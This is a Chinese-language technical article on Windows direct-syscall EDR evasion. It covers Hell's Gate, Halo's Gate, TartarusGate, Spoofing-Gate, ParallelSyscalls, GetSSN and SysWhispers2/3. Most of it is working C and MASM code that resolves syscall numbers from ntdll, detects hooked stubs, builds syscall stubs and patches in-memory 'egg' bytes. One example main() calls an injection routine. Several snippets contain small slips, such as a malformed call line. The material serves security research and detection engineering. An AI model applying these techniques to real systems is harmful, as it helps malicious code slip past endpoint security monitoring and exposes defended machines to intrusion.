地狱之门(Hell's Gate)
原理:通过直接读取进程的第二个导入模块(ntdll)解析其结构然后便利导出表,根据函数名 Hash 找到函数地址,将这个函数读取出来通过 0xb8 操作码动态获取对应的系统调用号,从而绕过内存监控。
相当于对传统的 LoadLibrary + GetProcAddress 进行了更底层的重写。
首先定义一个与 syscall 相关联的数据结构:_VX_TABLE_ENTRY 实际上每一个系统调用都需要分配这样的结构:
typedef struct _VX_TABLE_ENTRY {
 PVOID pAddress;    // 指向内存模块的函数地址指针
 DWORD64 dwHash;    // 函数 hash,后续用于查找内存模块的函数
 WORD wSystemCall;  // 系统调用号
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
同时定义了更大的数据结构 _VX_TABLE 用于包含每一个系统调用的函数:
typedef struct _VX_TABLE {
 VX_TABLE_ENTRY NtAllocateVirtualMemory;
 VX_TABLE_ENTRY NtProtectVirtualMemory;
 VX_TABLE_ENTRY NtCreateThreadEx;
 VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
下面需要通过 PEB 的相关结构来动态获取系统调用号和函数地址来填充刚刚定义的数据结构,以便于实现自己的系统调用,这里通过 TIB(线程信息块)获取 TEB 再获取 TEB 的数据结构。
# 在 Windows x64 中,TEB的寄存器换做了 GS 寄存器,使用[GS:0x30]访问
NtCurrentTeb();
// x86
__readfsqword(0x18);
// x64
__readgsqword(0x30);
在上文中也提到过,通过 __readgsword 或 __readfsword 获取 PEB。
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA) {
 return 0x1;
}
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
 return (PTEB)__readgsqword(0x30);
#else
 return (PTEB)__readfsdword(0x16);
#endif
}
# 最后还通过 PEB 的成员 OSMajorVersion 判断操作系统是否是Windows 10
之后的操作就是遍历 PE 的导出函数,解析 PE 头然后找到 EAT。
// Get NTDLL module 
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Get the EAT of NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
    return 0x01;
成功获取 EAT 指针后现在需要填充之前定义的 _VX_TABLE,
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
GetVxTableEntry(ImageBase, ExportTable, &Table.NtAllocateVirtualMemory);
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
GetVxTableEntry(ImageBase, ExportTable, &Table.NtCreateThreadEx);
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
GetVxTableEntry(ImageBase, ExportTable, &Table.NtProtectVirtualMemory);
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
GetVxTableEntry(ImageBase, ExportTable, &Table.NtWaitForSingleObject);
源代码中实现了 Ntdll 中的四个函数,因此需要知道这四个函数的 Hash 以及 _VX_TABLE_ENTRY 结构体,这部分逻辑在 GetVxTableEntry 中实现:
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY ExporTable, PVX_TABLE_ENTRY pVxTableEntry)
{
    PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + ExporTable-> AddressOfFunctions);
    PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + ExporTable->AddressOfNames);
    PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + ExporTable -> AddressOfNameOrdinals);
    // 遍历导出表的函数
    for (WORD cx = 0; cx < ExporTable->NumberOfNames; cx++)
    {
        PCHAR  pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
        PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
        // 比较 hash
        if (djb2((PBYTE)pczFunctionName) == pVxTableEntry->dwHash) 
        {
            printf("[+]Function:%s Matched\n", pczFunctionName);
            pVxTableEntry->pAddress = pFunctionAddress;
            // 定位mov eax的操作码
            if (*((PBYTE)pFunctionAddress + 3) == 0xb8) 
            {
                // 
                BYTE high = *((PBYTE)pFunctionAddress + 5);
                BYTE low = *((PBYTE)pFunctionAddress + 4);
                // 系统调用号是 WORD 类型,两字节并且小端序
                pVxTableEntry->wSystemCall = (high << 8) | low;
                break;
            }
        }
    }
}
最后通过一段宏汇编代码(MASM)来定义执行通过系统调用号调用 NT 函数的函数:
 wSystemCall DWORD 0h
.code
 HellsGate PROC // 设置 Nt 函数的系统调用号
 mov wSystemCall, 0h
 mov wSystemCall, ecx
 ret
 HellsGate ENDP
 HellDescent PROC   // 模拟 Nt 函数的汇编
 mov r10, rcx
 mov eax, wSystemCall
 syscall
 ret
 HellDescent ENDP
end
定义的第一个函数 HellsGate 用来设置对应 Nt 函数的系统调用号,第二个函数 HellDescent 直接模拟系统调用来调用对应函数(和 ZwSetInformationFile 的汇编指令是一样的)。
因此现在想要调用 Nt 函数的时候,利用之前得到的 EAT 对之前定义的数据结构进行填充:
VX_TABLE Table = { 0 };
    Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
    if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtAllocateVirtualMemory))
    {
        printf("[-]GetVxTableEntry Failed!\n");
        return -1;
    }
    Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
    if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtCreateThreadEx))
    {
        printf("[-]GetVxTableEntry Failed!\n");
        return -1;
    }
    Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
    if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtProtectVirtualMemory))
    {
        printf("[-]GetVxTableEntry Failed!\n");
        return -1;
    }
    Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
    if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtWaitForSingleObject))
    {
        printf("[-]GetVxTableEntry Failed!\n");
        return -1;
    }
到现在为止,我们想调用的 Nt 函数都有了唯一的 VT_TABLE_ENTRY,包含调用号、地址指针和 hash。然后用调用汇编的方式进行调用:

 
光环之门(Halo's Gate)
地狱之门的局限在于内存中的 ntdll 必须是默认你的,如果 ntdll 已经被修改过或者被 hook 过(汇编操作码不是 0xb8),那么就无法动态获取它的系统调用号。
原理:EDR 不会 hook 所有的 Nt 函数,总会有不敏感的函数没有被 HOOK,因此在程序当中以 STUB_SIZE(长度 32)上下循环遍历,找到没有被 HOOK 的 STUB 后获取系统调用号再减去移动的步数,就是所要搜索的系统调用号。
对应查找操作的汇编实现:
halosGateUp PROC
    xor rsi, rsi
    xor rdi, rdi 
    mov rsi, 00B8D18B4Ch   ; bytes at start of NTDLL stub to setup syscall in RAX
    xor rax, rax
    mov al, 20h            ; 32 * Increment = Syscall Up
    mul dx                 ; RAX = RAX * RDX = 32 * Syscall Up
    add rcx, rax           ; RCX = NTDLL.API +- Syscall Stub
    mov edi, [rcx]         ; RDI = first 4 bytes of NTDLL API syscall stub, incremented Up by HalosGate (mov r10, rcx; mov eax, <syscall#>)
    cmp rsi, rdi
    jne error              ; if the bytes dont match then its prob hooked. Exit gracefully
    xor rax,rax            ; clear RAX as it will hold the syscall
    mov ax, [rcx+4]        ; The systemcall number for the API close to the target
    ret                    ; return to caller
halosGateUp ENDP
 
TartarusGate
对光环之门的加强,只检测第一个字节和第四个字节是否是 0xe9 来判断函数是否被 hook。 
欺骗之门(Spoofing-Gate)
当使用 Hate's Gate / Hell's Gate 获取到 sysid 后,从 ntdll 中随机选择未用到的 Nt Api,替换其 sysid 为获取到的 sysid 即可直接 call。内置的 Nt api list 排除了 EDRs 项目中被 hook 的 api 和部分可能影响正常执行的 api,返回的结构体实现了 Recover 函数用于复原 sysid。
但这个方法的缺点就是必须修改 ntdll,通常用 NtProtect+memcpy / WriteProcessMemory。 
ParallelSyscalls
使用 syscall 从磁盘中读取 ntdll,最后利用 LdrpThunkSignature 回复系统调用。同时实现了 dll 的并行加载,过程中运行进程递归映射通过进程模块导入表导入 dll 的过程。
LdrpThunkSignature 调用实现:
BOOL InitSyscallsFromLdrpThunkSignature()
{
    PPEB Peb = (PPEB)__readgsqword(0x60);
    PPEB_LDR_DATA Ldr = Peb->Ldr;
    PLDR_DATA_TABLE_ENTRY NtdllLdrEntry = NULL;
    for (PLDR_DATA_TABLE_ENTRY LdrEntry = (PLDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink;
        LdrEntry->DllBase != NULL;
        LdrEntry = (PLDR_DATA_TABLE_ENTRY)LdrEntry->InLoadOrderLinks.Flink)
    {
        if (_wcsnicmp(LdrEntry->BaseDllName.Buffer, L"ntdll.dll", 9) == 0)
        {
            // got ntdll
            NtdllLdrEntry = LdrEntry;
            break;
        }
    }
    if (NtdllLdrEntry == NULL)
    {
        return FALSE;
    }
    PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)NtdllLdrEntry->DllBase + ((PIMAGE_DOS_HEADER)NtdllLdrEntry->DllBase)->e_lfanew);
    PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&ImageNtHeaders->OptionalHeader + ImageNtHeaders->FileHeader.SizeOfOptionalHeader);
    ULONG_PTR DataSectionAddress = NULL;
    DWORD DataSectionSize;
    for (WORD i = 0; i < ImageNtHeaders->FileHeader.NumberOfSections; i++)
    {
        if (!strcmp((char*)SectionHeader[i].Name, ".data"))
        {
            DataSectionAddress = (ULONG_PTR)NtdllLdrEntry->DllBase + SectionHeader[i].VirtualAddress;
            DataSectionSize = SectionHeader[i].Misc.VirtualSize;
            break;
        }
    }
    DWORD dwSyscallNo_NtOpenFile = 0, dwSyscallNo_NtCreateSection = 0, dwSyscallNo_NtMapViewOfSection = 0;
    if (!DataSectionAddress || DataSectionSize < 16 * 5)
    {
        return FALSE;
    }
    for (UINT uiOffset = 0; uiOffset < DataSectionSize - (16 * 5); uiOffset++)
    {
        if (*(DWORD*)(DataSectionAddress + uiOffset) == 0xb8d18b4c &&
            *(DWORD*)(DataSectionAddress + uiOffset + 16) == 0xb8d18b4c &&
            *(DWORD*)(DataSectionAddress + uiOffset + 32) == 0xb8d18b4c &&
            *(DWORD*)(DataSectionAddress + uiOffset + 48) == 0xb8d18b4c &&
            *(DWORD*)(DataSectionAddress + uiOffset + 64) == 0xb8d18b4c)
        {
            dwSyscallNo_NtOpenFile = *(DWORD*)(DataSectionAddress + uiOffset + 4);
            dwSyscallNo_NtCreateSection = *(DWORD*)(DataSectionAddress + uiOffset + 16 + 4);
            dwSyscallNo_NtMapViewOfSection = *(DWORD*)(DataSectionAddress + uiOffset + 64 + 4);
            break;
        }
    }
    if (!dwSyscallNo_NtOpenFile)
    {
        return FALSE;
    }
    ULONG_PTR SyscallRegion = (ULONG_PTR)VirtualAlloc(NULL, 3 * MAX_SYSCALL_STUB_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!SyscallRegion)
    {
        return FALSE;
    }
    NtOpenFile = (FUNC_NTOPENFILE)BuildSyscallStub(SyscallRegion, dwSyscallNo_NtOpenFile);
    NtCreateSection = (FUNC_NTCREATESECTION)BuildSyscallStub(SyscallRegion + MAX_SYSCALL_STUB_SIZE, dwSyscallNo_NtCreateSection);
    NtMapViewOfSection = (FUNC_NTMAPVIEWOFSECTION)BuildSyscallStub(SyscallRegion + (2* MAX_SYSCALL_STUB_SIZE), dwSyscallNo_NtMapViewOfSection);
    return TRUE;
}
 
GetSSN
另一种发现 syscall number 的方法而且不需要 unhook、不需要从代码存根中读取,也不需要加载 NTDLL 副本。这种方式可用的前提是:
1.实际上所有的Zw函数和Nt同名函数实际上是等价的
2.系统调用号实际上是和Zw函数按照地址顺序的排列是一样的
因此我们就只需要遍历所有的 Zw 函数,记录其函数名和函数地址,最后将其按照函数地址升序排列后,每个函数的 SSN 就是其对应的排序顺序。
int GetSSN()
{
    std::map<int, string> Nt_Table;
    PBYTE ImageBase;
    PIMAGE_DOS_HEADER Dos = NULL;
    PIMAGE_NT_HEADERS Nt = NULL;
    PIMAGE_FILE_HEADER File = NULL;
    PIMAGE_OPTIONAL_HEADER Optional = NULL;
    PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
    PPEB Peb = (PPEB)__readgsqword(0x60);
    PLDR_MODULE pLoadModule;
    // NTDLL
    pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
    ImageBase = (PBYTE)pLoadModule->BaseAddress;
    Dos = (PIMAGE_DOS_HEADER)ImageBase;
    if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
        return 1;
    Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
    File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
    Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
    ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
    PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
    PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
    PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
    for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
    {
        PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
        PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
        if (strncmp((char*)pczFunctionName, "Zw",2) == 0) {
           printf("Function Name:%s\tFunction Address:%p\n", pczFunctionName, pFunctionAddress);
            Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
        }
    }
    int index = 0;
    for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
        cout << "index:" << index  << ' ' << iter->second << endl;
        index += 1;
    }
}
 
SysWhispers2 / 3
仅获取 syscall number,进入 R3 自己实现函数调用过程。具体实现是用 SW2_PopulateSyscallList,先解析 ntdll 中的 EAT,定位 Zw 开头的函数,最后按地址从小到大进行排序。
在 3 中出现了新的 EGG 手法,先用垃圾指令代替 syscall,在运行时再从内存中找出来替换 syscall。
这里的 egg hunt 使用 "DB" 来定义一个字节的汇编指令。
NtAllocateVirtualMemory PROC
  mov [rsp +8], rcx          ; Save registers.
  mov [rsp+16], rdx
  mov [rsp+24], r8
  mov [rsp+32], r9
  sub rsp, 28h
  mov ecx, 003970B07h        ; Load function hash into ECX.
  call SW2_GetSyscallNumber  ; Resolve function hash into syscall number.
  add rsp, 28h
  mov rcx, [rsp +8]          ; Restore registers.
  mov rdx, [rsp+16]
  mov r8, [rsp+24]
  mov r9, [rsp+32]
  mov r10, rcx
  DB 77h                     ; "w"
  DB 0h                      ; "0"
  DB 0h                      ; "0"
  DB 74h                     ; "t"
  DB 77h                     ; "w"
  DB 0h                      ; "0"
  DB 0h                      ; "0"
  DB 74h                     ; "t"
  ret
NtAllocateVirtualMemory ENDP
但实际上用这种方式会报错,因为只是提供了 syscall 的调用和返回的堆栈,但是没有释放。后面用了 FindAndReplace 函数进行替换:
void FindAndReplace(unsigned char egg[], unsigned char replace[])
{
    ULONG64 startAddress = 0;
    ULONG64 size = 0;
    GetMainModuleInformation(&startAddress, &size);
    if (size <= 0) {
        printf("[-] Error detecting main module size");
        exit(1);
    }
    ULONG64 currentOffset = 0;
    unsigned char* current = (unsigned char*)malloc(8*sizeof(unsigned char*));
    size_t nBytesRead;
    printf("Starting search from: 0x%llu\n", (ULONG64)startAddress + currentOffset);
    while (currentOffset < size - 8)
    {
        currentOffset++;
        LPVOID currentAddress = (LPVOID)(startAddress + currentOffset);
        if(DEBUG > 0){
            printf("Searching at 0x%llu\n", (ULONG64)currentAddress);
        }
        if (!ReadProcessMemory((HANDLE)((int)-1), currentAddress, current, 8, &nBytesRead)) {
            printf("[-] Error reading from memory\n");
            exit(1);
        }
        if (nBytesRead != 8) {
            printf("[-] Error reading from memory\n");
            continue;
        }
        if(DEBUG > 0){
            for (int i = 0; i < nBytesRead; i++){
                printf("%02x ", current[i]);
            }
            printf("\n");
        }
        if (memcmp(egg, current, 8) == 0)
        {
            printf("Found at %llu\n", (ULONG64)currentAddress);
            WriteProcessMemory((HANDLE)((int)-1), currentAddress, replace, 8, &nBytesRead);
        }
    }
    printf("Ended search at:   0x%llu\n", (ULONG64)startAddress + currentOffset);
    free(current);
}
使用方式:
int main(int argc, char** argv) {
    unsigned char egg[] = { 0x77, 0x00, 0x00, 0x74, 0x77, 0x00, 0x00, 0x74 }; 
    // w00tw00t
    unsigned char replace[] = { 0x0f, 0x05, 0x90, 0x90, 0xC3, 0x90, 0xCC, 0xCC }; 
    // syscall; nop; nop; ret; nop; int3; int3
    //####SELF_TAMPERING####
    (egg, replace);
    Inject();
    return 0;
}
但是 EDR 不仅会检测 syscall 的字符,还会检测 syscall 执行特定指令的位置。也就是说本来 syscall 是要从 ntdll 中执行的,但我们的方式会直接在程序的主模块中执行。


RIP 指向的不同为 EDR 提供了特征。针对于这种检测,可以在运行时候从内存中动态找出替换 syscall。
首先添加一个 ULONG64 字段来存储 syscall 指令绝对地址,当 __SW2_SYSCALL_LIST 被填充时,计算 syscall 指令的地址。在这种情况下,已经有了 ntdll.dll 基地址,SysWhispers 从 DLL EAT 中计算 RVA,最后就可以 jmp syscall<address>,所以只需要计算 syscall 指令的相对位置即可。
function findOffset(HANDLE current_process, int64 start_address, int64 dllSize) -> int64:
  int64 offset = 0
  bytes signature = "\x0f\x05\x03"
  bytes currentbytes = ""
  while currentbytes != signature:
    offset++
    if offset + 3 > dllSize:
      return INFINITE
    ReadProcessMemory(current_process, start_address + offset, ¤tbytes, 3, nullptr)
  return start_address + offset